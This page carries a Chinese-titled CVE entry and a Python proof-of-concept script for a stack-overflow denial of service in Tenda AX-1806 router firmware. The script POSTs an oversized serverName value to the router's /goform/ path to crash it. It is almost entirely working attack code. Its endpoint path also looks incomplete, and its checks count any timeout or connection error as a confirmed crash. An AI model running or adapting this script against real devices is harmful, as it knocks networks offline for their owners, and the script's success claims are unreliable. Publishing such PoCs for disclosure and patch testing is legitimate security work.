CVE-2025-71021 Tenda AX-1806 serverName参数栈溢出漏洞导致拒绝服务

#!/usr/bin/env python3 """ CVE-2025-71021 PoC - Tenda AX-1806 Stack Overflow in serverName Parameter This PoC demonstrates a stack overflow vulnerability in the sub_65A28 function of Tenda AX-1806 v1.0.0.1 firmware via the serverName parameter. """ import requests import sys TARGET_IP = "192.168.0.1" # Default Tenda router IP TARGET_PORT = 80 CVE_ID = "CVE-2025-71021" def check_vulnerability(target_ip, port=80): """Check if target is vulnerable to CVE-2025-71021""" url = f"http://{target_ip}:{port}/goform/" # Payload with oversized serverName parameter to trigger stack overflow # The exact overflow length may vary; 1000+ bytes typically sufficient overflow_payload = "A" * 1000 # Construct the malicious request data = { "serverName": overflow_payload, "action": "submit" } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[*] Sending exploit payload for {CVE_ID}") print(f"[*] Target: {url}") print(f"[*] Payload length: {len(overflow_payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) # Check if device becomes unresponsive or returns error if response.status_code in [500, 502, 503] or len(response.content) < 50: print(f"[+] Exploit successful! Target may be crashed.") return True else: print(f"[*] Response received. Device may require multiple attempts.") return False except requests.exceptions.Timeout: print(f"[+] Exploit successful! Target did not respond (DoS confirmed).") return True except requests.exceptions.ConnectionError: print(f"[+] Exploit successful! Connection refused - target crashed.") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_IP print(f"[*] CVE-2025-71021 PoC - Tenda AX-1806 Stack Overflow") check_vulnerability(target, TARGET_PORT)